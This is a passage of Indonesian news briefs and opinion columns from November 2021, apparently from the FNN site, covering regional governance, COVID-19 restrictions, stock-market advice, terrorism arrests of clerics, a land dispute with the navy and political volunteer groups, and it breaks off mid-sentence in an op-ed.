kinerja seluruh tenaga kontrak pada Januari 2022. Jika kinerjanya dinilai kurang baik, maka tidak menutup kemungkinan kontrak kerja tenaga kontrak tersebut tidak lagi diperpanjang. "Kontraknya dibuat enam bulan, setelah ada hasil evaluasi maka akan diputuskan apakah kontrak mereka dilanjutkan atau stop. Kami mempersiapkan evaluasi ini supaya sesuai harapan kita dan tidak ada kesalahan dalam melakukan evaluasi," tambah Alang. Alang menambahkan, tenaga kontrak yang ada ini kemungkinan hanya diperpanjang sampai 2023. Nantinya pada 2023 tidak ada lagi tenaga kontrak karena semua akan beralih ke pegawai pemerintah dengan perjanjian kerja PPPK. "Makanya kami sudah menyurati kepada SOPD untuk menyusun usulan formasi PPPK itu, tapi ternyata banyak SOPD yang tidak mengusulkan. Akhirnya kita hanya mengusulkan sebanyak 339 formasi dalam seleksi pada 2022 nanti. Itu pun jika semua formasi disetujui pemerintah pusat," demikian Alang Arianto. (sws)

KPPOD Rekomendasi Optimalisasi Digitalisasi PBJ Agenda Krusial Pemda

Jakarta, FNN - Analis Kebijakan Komite Pemantauan Pelaksanaan Otonomi Daerah (KPPOD) Ditha Mangiri merekomendasikan agar penerapan dan optimalisasi digitalisasi layanan pengadaan barang/jasa (PBJ) menjadi agenda krusial dari pemerintah daerah di Indonesia. "Tidak semua daerah itu memiliki infrastruktur yang mendukung untuk digitalisasi layanan pengadaan barang/jasa," kata Ditha Mangiri saat menjadi pemantik diskusi dalam webinar bertajuk "Transparansi dan Akuntabilitas Pelayanan Publik Pascapandemi" yang disiarkan secara langsung di kanal YouTube KPPOD Jakarta, dipantau dari Jakarta, Jumat. Untuk itu, lanjut Ditha Mangiri, rekomendasi tersebut sebaiknya segera dilakukan oleh pemerintah daerah agar dapat tercipta transparansi informasi, integrasi data, efisiensi proses bisnis, serta akses pengadaan barang/jasa di sektor pemerintahan yang terbuka dan adil. Ia juga mengatakan pemerintah pusat pun melalui Menteri Dalam Negeri dan Kepala Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah (LKPP) telah mendorong optimalisasi layanan tersebut dengan mengeluarkan Surat Edaran Bersama Nomor 027/2929/SJ dan Nomor 1 Tahun 2021 tentang Percepatan Pelaksanaan Pengadaan Barang/Jasa Dalam Pengelolaan Keuangan Daerah. Dengan demikian, tambah Ditha, sudah sepatutnya optimalisasi pemanfaatan pengadaan barang/jasa segera diwujudkan oleh pemerintah daerah. Dalam webinar yang diselenggarakan oleh KPPOD dan Populi Center itu, Ditha juga memaparkan berbagai manfaat dari digitalisasi layanan pengadaan barang/jasa. Pertama, layanan pengadaan barang/jasa dalam bentuk digital dapat mempersulit terjadinya tindak pidana korupsi dan persekongkolan. "Saya bisa ambil kesimpulan dari segi digitalisasi, pemerintah telah melakukan banyak hal untuk mencegah korupsi di bidang pengadaan. Di antaranya, dengan mendesain pengadaan berbasis digital ataupun elektronik," tutur Ditha. Selain itu, ia juga menilai layanan pengadaan barang dan jasa berbentuk digital akan meningkatkan efektivitas penggunaan waktu serta biaya. Lalu, digitalisasi tersebut juga bisa menghilangkan penggelembungan biaya anggaran dan mark-up, yaitu kesenjangan di antara harga jual barang atau jasa dan biaya anggarannya. "Pemerintah juga menyediakan e-katalog. Semua daftar harga itu sudah tertera di dalam. Jadi, untuk penggelembungan biaya anggaran dan mark-up bisa terminimalisasi di dalam sistem e-katalog," ujar Ditha. Ia pun berharap pemerintah, khususnya pemerintah daerah, dapat memberikan sosialisasi kepada masyarakat tentang transformasi pelayanan publik dari yang berbentuk manual menjadi digital agar manfaatnya dapat dirasakan secara maksimal. Selain itu, pemerataan pembangunan infrastruktur berbasis digital juga disarankan untuk diutamakan di sekitar wilayah luar Jawa dan wilayah terluar Indonesia yang lain. (sws)

Peneliti CSIS: Pelayanan Publik di Daerah Harus Responsif dan Adaptif

Jakarta, FNN - Peneliti Centre for Strategic and International Studies (CSIS) Arya Fernandes mengatakan berdasarkan pembelajaran dari keterbatasan di tengah pandemi COVID-19 dan prediksi ke depannya, pelayanan publik dari pemerintah daerah kepada masyarakat harus responsif dan adaptif. "Yang pertama, dari pandemi ini dan tren ke depan, kita bisa memetik satu pelajaran bahwa pelayanan publik ke depan itu harus responsif karena sekarang daerah-daerah akan berubah menjadi daerah urban dan akan terjadi urbanisasi yang meningkat," kata Arya Fernandes saat menjadi narasumber dalam webinar bertajuk "Transparansi dan Akuntabilitas Pelayanan Publik Pascapandemi" yang disiarkan secara langsung di kanal YouTube KPPOD Jakarta, dipantau dari Jakarta, Jumat. Selain itu, lanjutnya, diperkirakan akan terjadi perubahan tren ke depan di mana kumpulan data yang lebih besar dan kompleks (big data) serta kecerdasan buatan (artificial intelligence) menjadi penting sehingga pendekatan pelayanan publik di daerah yang adaptif dengan memanfaatkan kedua hal itu harus diperhatikan. Arya juga menjelaskan keadaan urbanisasi membuat masa mendatang diliputi berbagai permasalahan, mulai dari kesenjangan sosial, kemiskinan, kemacetan, hingga persoalan kurangnya air bersih. Untuk itu, diperlukan pelayanan publik yang dapat merespons masalah-masalah tersebut.​​​​​​​ Kemudian menurutnya, pelayanan publik yang responsif diperlukan pula untuk menghadapi salah satu perubahan yang dialami oleh dunia, yakni isu perubahan iklim dan lingkungan. Efek dari perubahan iklim mulai terasa sejak sekarang dan dapat dilihat dari musibah banjir ataupun kekeringan yang terjadi di sejumlah daerah di Indonesia. "Di Indonesia, banjir dan kekeringan terjadi di mana-mana, misalnya, Kota Batu, beberapa daerah di Kalimantan Tengah, Kalimantan Barat, dan beberapa daerah lainnya," tutur Arya. Ia pun menambahkan perkiraan terhadap gelombang ketiga pandemi COVID-19 merupakan pertimbangan lain untuk menjadikan pelayanan publik ke depan lebih responsif. Sementara terkait layanan publik yang adaptif, Arya menilai akses publik terhadap internet semakin meningkat sehingga mendorong mereka untuk lebih peduli dengan isu-isu publik, terutama di kalangan milenial. Dengan demikian, kebutuhan terhadap pelayanan publik yang lebih responsif dan adaptif dari pemerintah daerah menjadi semakin mendesak untuk segera diwujudkan. (sws)

LK2PK Ajak Masyarakat Terapkan PPKM Level 3 Secara Disiplin

Jakarta, FNN - Direktur Eksekutif Lembaga Kajian dan Konsultasi Pembangunan Kesehatan (LK2PK) Ardiansyah Bahar mengajak semua pihak terutama masyarakat agar menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 3 pada akhir tahun secara disiplin. "Pemerintah berencana menerapkan kebijakan itu guna mengantisipasi lonjakan kasus COVID-19 saat libur Natal dan Tahun Baru," kata dia melalui keterangan tertulis yang diterima di Jakarta, Jumat. Oleh karena itu, ia meminta pengertian dan kerja sama masyarakat untuk bisa menjalankan kebijakan tersebut dengan disiplin. Hingga saat ini membatasi diri atau menerapkan protokol kesehatan secara berkelanjutan wajib terus dilakukan hingga pandemi benar-benar berakhir. "Semoga saja dengan kedisiplinan kita saat ini, tahun depan kita bisa kembali hidup normal," harap dia. Ardiansyah yakin pemerintah sudah memperhitungkan secara matang untuk menerapkan kebijakan PPKM level 3 di seluruh Indonesia pada 24 Desember 2021 hingga 2 Januari 2022. Hal itu setidaknya dari belajar lonjakan kasus akibat tingginya tingkat mobilitas masyarakat akhir tahun lalu. Di samping itu, ia menilai kebijakan turunan dari PPKM level 3 perlu melihat kondisi di setiap daerah. Oleh sebab itu, pemerintah harus membuat kebijakan lokal berbasis data. "Jumlah pemeriksaan, tingkat penularan, angka kematian, kesiapan fasilitas kesehatan, dan tingginya vaksinasi di suatu daerah harus menjadi dasar-dasar dalam membuat kebijakan," kata dia. Sementara itu, Epidemiologi dari Fakultas Kesehatan Masyarakat (FKM) Universitas Airlangga (Unair) Surabaya, Laura Navika Yamani juga menilai positif rencana pemerintah menerapkan PPKM level 3 saat libur Natal dan Tahun Baru. "Saya rasa ini juga langkah bagus ya untuk meminimalisir COVID-19," kata Laura. Namun, Laura menilai pemerintah perlu menyampaikan sosialisasi ke masyarakat sebelum kebijakan itu diterapkan. Hal itu bertujuan agar setiap individu kembali memahami apa saja yang boleh dilakukan dan dilarang selama PPKM level 3. Selain itu, tindakan melakukan tes (testing), penelusuran kontak erat (tracing) dan tindak lanjut berupa perawatan pada pasien COVID-19 (treatment) secara acak juga diperlukan termasuk pengawasannya. (sws)

BEI Ingatkan Investor Tak Sekadar Ikut-Ikutan Investasi Saham Unicorn

Jakarta, FNN - Direktur Pengembangan PT Bursa Efek Indonesia (BEI) Hasan Fawzi mengatakan para investor perlu mencermati dan berhati-hati sebelum berinvestasi di saham-saham perusahaan unicorn maupun decacorn, dan tak hanya sekedar ikut-ikutan. Perusahaan rintisan unicorn dan decacorn berbasis teknologi digital memang berpeluang akan meramaikan pasar saham Indonesia ke depannya. "Tentunya, dengan melantainya unicorn ini, investor tidak perlu merasa fear of missing out (FOMO) dan gampang ikut-ikutan dalam mengambil keputusan investasi,” ujar Hasan dalam keterangan di Jakarta, Jumat. Hasan menyampaikan terdapat hal yang menarik dalam menilai sebuah perusahaan unicorn. Menurutnya, investor tidak hanya bisa menilai perusahaan berdasarkan bottom line-nya saja, tetapi dari growth-opportunity. "Investor sebaiknya tetap mempelajari atau melakukan analisis terhadap perusahaan tersebut sebelum memutuskan untuk memiliki sahamnya," kata Hasan. Selain itu, Hasan juga membagikan beberapa tips kepada investor sebelum berinvestasi di saham-saham unicorn. Pertama, kata dia, investor harus memperhatikan profil risiko, karena setiap produk investasi yang memiliki potensi keuntungan tinggi, akan memiliki risiko yang tinggi pula, serta tidak semua orang bisa menerima risiko investasi yang tinggi tersebut. "Kemudian tujuan investasi, karena setiap orang memiliki tujuan investasinya masing-masing, misalnya untuk dana hari tua atau pensiun, dana pendidikan anak, dan lainnya," ujar Hasan. Selanjutnya, investor perlu mencermati perencanaan keuangan. Menurutnya, investor harus menyisihkan dana untuk investasi dan jangan pernah menggunakan uang panas apalagi utang atau dana pinjaman untuk melakukan investasi. "Investor juga harus mencermati produk investasi. Setiap produk investasi pasar modal memiliki risiko dan karakteristiknya masing-masing. Sehingga, investor wajib mempelajari dan analisis produknya terlebih dahulu, tentunya berdasarkan informasi dari sumber resmi," kata Hasan. Di samping itu, BEI juga tengah mempersiapkan aturan percatatan saham yang baru yang dalam waktu dekat akan segera rilis, untuk membukakan pintu-pintu masuk baru yang dapat dimanfaatkan oleh berbagai sektor industri, seperti tech-companies, centaur, unicorn, dan decacorn, dengan tetap memperhatikan kualitas perusahaan. Otoritas Jasa Keuangan (OJK) juga mempersiapkan pengaturan mengenai Saham dengan Hak Suara Multiple (SHSM) dimana para pendiri perusahaan tech-companies tersebut dapat mempertahankan visi misi ke depan dalam pengembangan usaha. "Kami juga tetap mengedepankan aspek perlindungan bagi investor, dengan pengembangan notasi khusus untuk perusahaan yang menerapkan SHSM ini," ujar Hasan. (mth)

Polri Lakukan Deteksi Unggahan Ujaran Kebencian dan Provokasi

Jakarta, FNN - Kepala Divisi Humas Polri Irjen Pol Dedi Prasetyo mengatakan Polri memiliki Direktorat Tindak Pidana Siber (Dittipidsiber) Bareskrim Polri yang melakukan deteksi terhadap unggahan yang mengandung narasi ujaran kebencian, hoaks, provokasi dan SARA. "Siber patrol melakukan 'mapping' dan 'profiling' setiap konten-konten ujaran kebencian, provokasi dan hoaks," kata Irjen Dedi saat dihubungi di Jakarta, Jumat, Menurut Dedi, pihaknya sudah mendeteksi adanya unggahan provokasi terhadap institusi Polri ataupun Densus 88. Patroli Siber Polri akan mengingatkan pemilik akun terkait unggahannya yang bermuatan SARA maupun provokasi. "Intinya penyebar akan diingatkan oleh tim," kata Dedi. Sebelumnya Tim Densus 88 Antiteror Polri menangkap tiga mubalig terkait aktivitas lembaga pendanaan milik kelompok teroris Jamaah Islamiyah (JI). Ketiga mubalig tersebut, yakni Farid Okbah, Ahmad Zain An Najah dan Anung Al Hamat. Ketiganya terlibat dalam kepengurusan Lembaga Amil Zakat Baitul Mal Abdurrahman Bin Auf (LAM BM ABA) milik kelompok teroris JI. Hasil penyidikan Densus 88, Ahmad Zain An-Najah merupakan Ketua Dewan Syariah Lembaga Amil Zakat Baitul Mal Abdurrahman Bin Auf (LAM BM ABA), sedangkan Farid Ahmad Okbah merupakan anggota Dewan Syariah LAM BM ABA. Sedangkan Anung Al Hamat sebagai pendiri Perisai Nusantara Esa. LAM BM ABA merupakan lembaga pendanaan yang dikelola oleh kelompok JI. Sedangkan Perisai Nusantara Esa merupakan organisasi sayap kelompok JI. Penangkapan Ahmad Zain An-Najah menyeret Majelis Ulama Indonesia (MUI) karena statusnya sebagai anggota Komisi Fatwa lembaga agama tersebut. MUI telah menonaktifkan Ahmad Zain An-Najah sebagai anggota Komisi Fatwa, terhitung sejak hari ditangkapnya. Selain itu, MUI menyerahkan penanganan perkara dugaan keterlibatan Ahmad Zain An-Najah dalam jaringan JI ke kepolisian. ​​​​ MUI menyatakan mendukung penegakan hukum dalam penanggulangan terorisme serta berkomitmen mendukung upaya untuk melawan segala ancaman teror di Indonesia. "Kami tentunya menghormati proses hukum dan menyerahkan sepenuhnya kepada kepolisian, kepada Densus 88," kata Ketua MUI Cholil Nafis dalam siaran video MUI yang diterima ANTARA di Jakarta, Rabu. (mth)

Dukungan Anies Baswedan Maju Pilpres 2024 Dimulai dari Bogor

Bogor, FNN - Relawan Gubernur DKI Jakarta, Anies Baswedan, mulai mendeklarasikan dukungan kepada tokohnya itu untuk maju pada Pilpres 2024 dengan nama Bersama Anies Kami Siap (BERAKSI). Menurut koordinator relawan BERAKSI, Gunawan Zulkarnaen, dalam pernyataan pers yang diterima di Bogor, Jumat, relawan BERAKSI terdiri atas berbagai latar belakang dan usia mulai dari bidang pertanian, peternak, UMKM, ekonomi kreatif, buruh, wanita dan milenial. Gerakan itu telah berdeklarasi pada Kamis (18/11) yang didirikan untuk dukungan terhadap Baswedan maju Pilres 2024 dari Jawa Barat dan akan dikembangkan ke provinsi lain, Deklarasi awal dilakukan di Bogor dan direncanakan hingga menyebar di kota dan kabupaten lain Jawa Barat. Zulkarnaen mengatakan, Baswedan memang belum mendeklarasikan diri akan maju dalam konstelasi Pemilu 2024. Akan tetapi, kata dia, dengan dukungan yang terus mengalir bukan tidak mungkin akan mendorong Baswedan --lahir di Kuningan, Jawa Barat, pada 7 Mei 1969-- untuk mantap menjajaki pertarungan politik ke depan. "Persiapan deklarasi ini sangat didesak waktu, tapi Alhamdulillah panitia bisa bekerja secara baik," kata dia. Ia mengungkapkan Baswedan dianggap memiliki kecakapan dalam kepemimpinan Indonesia yang religius dan cerdas. Pendukung gerakan BERAKSI, kata dia, berharap Anies dapat melakukan reformasi birokrasi dan perbaikan dari berbagai sisi pemerintahan. "Setelah deklarasi hari ini kami akan bergerak ke pelosok Bogor dan wilayah lain di Indonesia guna menularkan semangat mendukung Mas Anies," katanya. Salah satu anggota gerakan itu, Afgan, mengatakan, sebagai kaum milenial dia berharap jagonya itu bisa memberikan terobosan birokrasi dari manual ke digitalisasi yang semakin masif. "Milenial khan suka yang sederhana, makanya harus menyesuaikan dengan jaman yang serba digital," katanya. (mth)

Dahsyat, Stok Kesabaran Umat Islam Itu Tanpa Batas

By Asyari Usman BANYAK yang mengatakan bahwa kesabaran itu ada batasannya. Nah, benarkah premis ini? Sama sekali tidak benar. Khususnya bagi umat Islam Indonesia. Bagi umat di sini, kesabaran itu tidak punya batas. Unlimited! Stoknya jauh melebihi ‘output’. Inilah keistimewaan umat Islam di negara ini. Kemarin-kemarin umat mengeluarkan kesabaran satu gunung, misalnya, besok-lusa masih ada belasan gunung lagi yang siap digelontorkan. Dahsyat sekali. Sebesar apa pun kezaliman yang dilakukan terhadap umat, dipastikan tidak akan ada reaksi marah. Sudah jelas-jelas banyak umat Islam yang dibunuh, kesabaran menjadi tumpuan. Tidak akan terjadi kerusuhan. Paling-paling reaksi yang muncul dalam bentuk konferensi pers, seminar, diskusi, dlsb. Fenomena yang luar biasa ini pantas kita syukuri. Kesabaran umat yang tidak terbatas itu adalah aset yang tak ternilai dengan ukuran apa pun. Para penjahat, penzalim, perampok, penggarong, pengkhianat, tahu persis tentang kesabaran yang tak pernah habis itu. Mereka manfaatkan itu untuk merealisasikan semua cabang nafsu angkara mereka. Islam dihina dan dipojokkan, umat dibantai, ulama dikriminalisasikan. Jangan khawatir. Sejauh ini tetap disambut dengan kesabaran. Kekayaan rakyat dijarah oleh perampok lokal dan asing, selalu aman. Macam-macam penipuan sosial-politik, lumrah dibiarkan dengan kesabaran. Hebat umat Islam. Banyak yang berterima kasih. Mereka senang sambil menari-menari di atas kesabaran yang tak terbatas itu. Nah, bersabar tanpa batas itu kelemahan atau kekuatan? Kalau merujuk ke ayat 200 surah Aali Imran, bersabar dan memperkuat kesabaran adalah pintu menuju kejayaan. Artinya, kesabaran ‘unlimited’ itu adalah kekuatan. Tetapi, ada tapinya, umat ini disuruh siap siaga! Sabar tapi siap siaga. Siap siaga yang dibangun di atas ketakwaan. Di sini ada masalah serius. Sabar, iya. Tapi tidak ada yang siap, konon pula siaga. Padahal, inilah syarat mutlak yang tercantum di ayat 200 itu. Bisa muncul dugaan sampingan. Yaitu, umat ini sebetulnya sedang menginfakkan kesabaran tak terbatas dengan stok bergunung-gunung, atau mereka masih seperti dulu-dulu juga. Tertindas layu, dilindas kuyu. Sebagaimana dulu umat dibantai di Tanjungpriok, Talangsari, dll. Yaa ayyuhalazina amanu ishbiru wa shabiru wa rabithu, wattaqullaha la’allakum tuflihuun. {يَا أَيُّهَا الَّذِينَ آمَنُوا اصْبِرُوا وَصَابِرُوا وَرَابِطُوا وَاتَّقُوا اللَّهَ لَعَلَّكُمْ تُفْلِحُونَ} [آل عمران : 200] “Hai orang-orang yang beriman, bersabarlah kamu dan kuatkanlah kesabaranmu dan tetaplah bersiap siaga (di perbatasan negerimu) dan bertakwalah kepada Allah, supaya kamu beruntung.” 19 November 2021 (Penulis wartawan senior FNN)

Kejaksaan Agung Dorong Kolaborasi Pencegahan Mafia Pelabuhan

Jakarta, FNN - Kejaksaan Agung (Kejagung) menggelar rapat untuk mendorong kolaborasi bersama perwakilan dari beberapa instansi terkait dalam rangka pencegahan mafia pelabuhan. Kepala Pusat Penerangan Hukum Leonard Eben Ezer Simanjuntak, Jumat dini hari, mengatakan rapat tersebut digelar pada hari Kamis, 18 November 2021, di Press Room Pusat Penerangan Hukum Kejaksaan Agung Kebayoran Baru Jakarta Selatan. Ia menyebutkan bahwa dalam rapat itu, Jaksa Agung Muda intelijen Sunarta menyampaikan rapat koordinasi dilakukan sebagai tindak lanjut instruksi Jaksa Agung Republik Indonesia untuk fokus dalam pemberantasan mafia pelabuhan. "Namun selain upaya penindakan juga perlu dilakukan upaya pencegahan mafia pelabuhan, oleh karena itu Kejaksaan Agung mencoba menginisiasi serta mengajak untuk menyamakan persepsi antara kejaksaan selaku penegak hukum dengan para stakeholders (pemangku kepentingan) yang terkait di wilayah pelabuhan guna mewujudkan suatu bentuk semangat kolaborasi dalam strategi pencegahan mafia pelabuhan," kata Leonard dalam keterangannya di Jakarta, sebagaimana dikutip dari Antara. Leonard mengatakan, sengan semangat kolaborasi tersebut, Jaksa Agung Muda intelijen Sunarta mengharapkan dalam jangka pendek dapat dilaksanakan Perjanjian Kerja Sama (PKS) antara Kejaksaan dengan para stakeholders terkait (baik internal maupun eksternal) dalam upaya pencegahan kejahatan ataupun mafia pelabuhan. "Peserta rapat yang hadir menyambut baik adanya semangat yang sama dalam strategi pencegahan (preventif) dimaksud melalui kolaborasi (lintas sektor) dalam upaya pencegahan kejahatan/mafia pelabuhan," tuturnya. Rapat kolaborasi yang dilaksanakan tersebut, dilakukan oleh kejaksaan dengan Kementerian Perhubungan, Imigrasi, Bea dan Cukai, Kementerian Kesehatan, Kementerian Perdagangan, Kementerian Perindustrian, KSOP Pelabuhan Tanjung Priok, Balai Besar Karantina Pertanian, Pelindo, dan Jakarta International Container. Adapun pihak Kejaksaan Agung diwakili oleh Jaksa Agung Muda Intelijen Dr Sunarta didampingi Direktur C pada Jaksa Agung Muda Intelijen Rorogo Zega, Kepala Pusat Penerangan Hukum Leonard Eben Ezer Simanjuntak, Koordinator C pada Jaksa Agung Muda Intelijen Harli Siregar. (MD).

Pemkab Siak Perketat Pintu Masuk dan TKA Hindari COVID-19 Varian Baru

Siak, FNN - Pemerintah Kabupaten Siak, Provinsi Riau, mengantisipasi masuknya COVID-19 varian baru dengan memperketat pengawasan di pintu masuk daerah tersebut dan juga menyurati perusahaan agar melakukan karantina jika ada tenaga kerja asingnya yang baru datang. "Di sini kasus COVID-19 memang melandai tapi di Eropa bahkan di Singapura dan Malaysia meningkat. Ini harus kita sikapi pintu masuk di Siak dari luar negeri," kata Bupati Siak, Alfedri di Siak, Jumat. Dikatakannya, berkaca pada pengalaman sebelumnya pernah TKA yang sampai ke Siak dan menularkan virus varian Delta. Untuk itu, pihaknya surati perusahaan agar TKA yang baru datang dikarantina lima hari sebelum bekerja. Untuk jalur masuk dari luar negeri, Alfedri meminta adanya pembatasan khusus di Pelabuhan Tanjung Buton. Hal ini bakal dilaporkan juga ke pemerintah provinsi untuk memperketat pintu masuk lainnya. "Kepala dinas agar proaktif dengan buat pengumuman tetap pakai masker. Di Mekah saja walau tak ada pembatas jarak tapi masih harus pakai masker," ujarnya. Sementara Kepala Dinas Kesehatan Kabupaten Siak Toni Chandra mengatakan per 16 November untuk pertama kalinya tidak ada kasus COVID-19 harian di Siak. Namun untuk menghadapi tahun baru mesti diwaspadai ada varian baru MU dari Hongkong dan Jepang. "Ini tak menutup kemungkinan karena ada TKA yang bolak balik di Siak. Maka dari itu harap diundang perusahaan karena pernah kejadian di Perawang lalu ada virus varian baru yang masuk," ungkapnya. Dia mengingatkan bahwa saat ini masih dalam keadaan darurat dan tidak tahu kapan pandemi akan berakhir. Pasalnya dalam masyarakat terlihat penerapan protokol kesehatan sudah mulai kendor dengan banyak yang tak memakai masker. "Masyarakat jangan kendorkan penggunaan masker dan cuci tangan agar terhindar dari virus," katanya. (sws)

TNI AL Minta Tudingan Rampas Tanah Adat Marafenfen Maluku Dibuktikan

Ambon, FNN - Komandan Pangkalan Utama TNI AL IX/Ambon, Brigadir Jenderal TNI (Mar) Said Latuconsina, meminta semua pihak menghormati proses hukum untuk menyelesaikan perkara sengketa lahan masyarakat adat Marafenfen dengan TNI AL di Kabupaten Kepulauan Aru, Provinsi Maluku. "Silakan saling tunjukkan bukti-bukti di pengadilan, saya sangat yakin majelis hakim akan mengambil keputusan secara obyektif," kata dia, di Ambon, Jumat. Ia mengomentari kejadian kericuhan di Dobo, ibu kota Kabupaten Kepulauan Aru setelah hakim Pengadilan Neger Dobo memenangkan TNI AL selaku tergugat dalam perkara sengketa lahan dengan masyarakat Desa Marafenfen, Rabu (17/11). Masyarakat adat Marafenfen tersulut emosi mendengar putusan itu sehingga merusak Kantor PN Dobo, kemudian melakukan sasi atau penyegelan adat terhadap kantor tersebut dan juga ke Kantor Bupati Kepulauan Aru, DPRD Aru, bandara dan pelabuhan. Meski begitu bandara dan pelabuhan kini sudah bisa digunakan karena sasi adat sudah dibuka. Latuconsina menyatakan, tudingan terhadap TNI AL merampas tanah masyarakat adat Marafenfen tidak benar. Ia meminta semua pihak menghargai proses hukum yang berlaku. "Tudingan itu jelas tidak benar. Namun karena saat ini permasalahan sudah berada pada tahapan proses hukum, maka kita hargai itu. Kita serahkan saja sesuai mekanisme hukum yang berlaku," katanya. Sebelumnya, penasihat hukum Masyarakat Adat Marafenfen, Samuel Wailerunny, menyatakan, sudah disepakati masyarakat memutuskan banding terhadap putusan kasus perdata pada sidang gugatan yang dimenangkan TNI AL. Ia mengatakan prosesnya kini ada waktu 14 hari sejak putusan hakim untuk pihak penggugat memasukkan memori banding. "Sudah disepakati bahwa kita nyatakan banding," ujarnya. Konflik lahan masyarakat Adat Marafenfen sudah berlangsung selama puluhan tahun, berawal dari Januari 1992 saat aparat TNI AL mengklaim sudah ada pembebasan lahan masyarakat di Desa Marafenfen Kecamatan Aru Selatan seluas 689 Hektare untuk pembangunan Lapangan Udara TNI AL Aru. Masyarakat Adat Marafenfen merasa pengambilalihan lahan mereka oleh aparat dilakukan secara paksa, sehingga kehidupan warga setempat yang bergantung pada hutan jadi terganggu. (sws)

Konferensi ke-1 PWI Kaltara Siap Digelar 27 November di Tarakan

Tarakan, FNN - Konferensi Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Utara (Kaltara) pertama siap digelar jelang akhir tahun ini, tepatnya 27 November 2021. Hal ini berdasarkan hasil rapat pleno pengurus besar PWI Kaltara terkait pembentukan kepanitiaan konferensi PWI Kaltara yang telah disepakati bersama di Ruang Command Center DKISP Kaltara, Tanjung Selor, Bulungan, Selasa (16/11). Dalam rapat yang dihadiri salah satu Dewan Penisehat PWI Kaltara itu, telah ditetapkan untuk lokasi acara di Kota Tarakan. Sementara untuk komposisi Panitia Pengarah (SC) diemban oleh Hairul Akbar, Ikram Mahmud dan Edy Nugroho. Adapun posisi Ketua Panitia Pelaksana (OC) diberikan kepada Muhammad Dicky Umacina. Selanjutnya Ketua OC diberi waktu selama tiga hari sejak rapat pleno membentuk kabinet kepanitiaan guna kelancaran agenda lima tahunan tersebut. “Alhamdulillah, setelah sempat tarik ulur selama sepekan terakhir, kemarin dalam rapat pleno pengurus, semuanya sudah dinyatakan beres dan sepakat, begitu juga dengan SK (surat keputusan) untuk para panitia itu,” kata Ketua PWI Kaltara, Datu Iskandar Zulkarnaen di Tanjung Selor, Bulungan, Kamis. Selanjutnya, SK kepanitiaan konferensi tersebut akan ditembuskan ke pengurus pusat untuk diketahui. “Saya berharap tidak ada kendala lagi. Dan saya juga berharap panitia pelaksana maupun panitia pengarah langsung bekerja untuk menyiapkan segalanya, karena waktu kita sangat mepet,” pintanya. Dia menambahkan, banyak pertimbangan yang dikemukakan oleh peserta rapat pleno sehingga sepakat memilih dan memutuskan Tarakan sebagai tuan rumah. “Saya kira soal itu tidak perlu dibahas lagi, karena sudah disepakati. Sekarang mari kita bekerja, mengabdi untuk organisasi wartawan ini,” tegasnya. Semua sangat berharap agenda lima tahunan ini berjalan dengan lancar dan tertib, serta mengedepankan protokol kesehatan karena masih di tengah pandemi. "Dan prinsipnya sidang harus berjalan sesuai peraturan dasar dan peraturan rumah tangga (PD/PRT) PWI yang ditetapkan di Kongres PWI Solo 2018 lalu,” tambah Datu. (sws)

Kodim Mamuju Lakukan Penyuluhan Hukum kepada Personelnya

Mamuju, FNN - Kodim 1418 Kabupaten Mamuju Provinsi Sulawesi Barat (Sulbar) menggelar kegiatan penyuluhan hukum 2021 bagi personel Militer dan PNS Kodim 1418 Kabupaten Mamuju. Damdim 1418 Kabupaten Mamuju, Kolonel Infanteri Aji Sartono di Mamuju, Kamis, mengatakan, kegiatan penyuluhan hukum Kodim Mamuju mengusung tema "Melalui penyuluhan hukum kita tingkatkan disiplin dan taat hukum untuk mengurangi pelanggaran hukum di satuan,". Ia mengatakan, kegiatan penyuluhan hukum tersebut diikuti Danramil di sejumlah daerah di Mamuju maupun jajaran personil TNI Kodim 1418 Kabupaten Mamuju Ia berharap peserta yang mengikuti kegiatan tersebut dapat menyimak dan mengikuti dengan baik serta berkenaan untuk memahami masalah hukum militer. " Prajurit TNI dituntut mampu menjadi teladan bagi masyarakat, dan juga harus menghindari terjadinya pelanggaran-pelanggaran di lingkup militer apalagi tindak kejahatan yang bersinggungan dengan hukum," katanya. Ia juga meminta kepada seluruh peserta agar bijak menggunakan aplikasi media sosial sesuai dengan perintah Kepala Staf TNI angkatan darat (AD) Ia meminta agar prajurit TNI dapat menyebarkan informasi atau kegiatan yang positif yang dapat mengangkat citra TNI di mata masyarakat. Sehingga, lanjutnya, akan timbul kecintaan yang lebih dari rakyat terhadap institusi TNI yang dicintai dan dibanggakan ini. Kasi Undang Kumdam Kodam XIV Hasanuddin Mayor Helmi Zunan Wijaya SH dalam acara penyuluhan itu menyampaikan mengenai penggunaan informasi dan transaksi elektronik, perkara yang menonjol meliputi upaya penghapusan kekerasan dalam rumah tangga serta prosedur lainnya. Selain itu dia menjelaskan hukum administrasi pemberhentian dengan tidak hormat di lingkungan TNI-AD Ia juga berharap, tingkat pelanggaran dan permasalahan hukum militer dapat dipahami sesuai dengan aturan yang berlaku dan anggota militer maupun PNS, untuk meminimalisir angka pelanggaran hukum satuan TNI lada Kodim 1418 Mamuju. (sws)

Buka, Apa dan Siapa Jamaah Islamiyah

Oleh M Rizal Fadillah Penangkapan tiga ulama Ustad Farid Okbah, DR Ahmad Zein An Najah, dan DR Anung Al Hilmat ditanggapi beragam di media sosial. Orang yang mengenal ketiganya tentu kaget dan tidak percaya ketiga pendakwah tersebut adalah teroris. Orang yang tidak mengenal juga kaget, ada kegiatan Densus yang mengejutkan. Penangkapan ulama. Ketiganya dikaitkan dengan kegiatan terorisme. Tentu berdampak terutama karena satu diantaranya adalah anggota Komisi Fatwa MUI. MUI telah mengklarifikasi dan mendorong keterbukaan dalam proses hukum. Menegaskan bahwa apapun pembuktian yang melibatkan pengurusnya, maka kegiatannya bersifat pribadi tidak berhubungan dengan MUI. Densus atau Kepolisian harus mengedepankan asas praduga tak bersalah dalam kasus ini. Tuduhan terorisme cukup serius karena terorisme bukanlah perbuatan pidana biasa. Perlu kejelasan dan keterbukaan informasi agar tidak menjadi bola liar dalam sikap dan persepsi publik atau membangun persangkaan fitnah. Selama ini penanganan terorisme senantiasa tertutup, lambat, dan jarang sampai hingga kepada tahap peradilan. Lebih jauh dapat terjawab pertanyaan yang menggelitik, yaitu : Pertama, sebagaimana diketahui bahwa terorisme adalah tindak pidana untuk melakukan kekerasan atau ancaman kekerasan yang menimbulkan rasa takut secara meluas, korban bersifat massal, serta menimbulkan kerusakan. Adakah perbuatan ini telah dilakukan oleh salah satu atau ketiga ulama tersebut ? Kedua, apakah 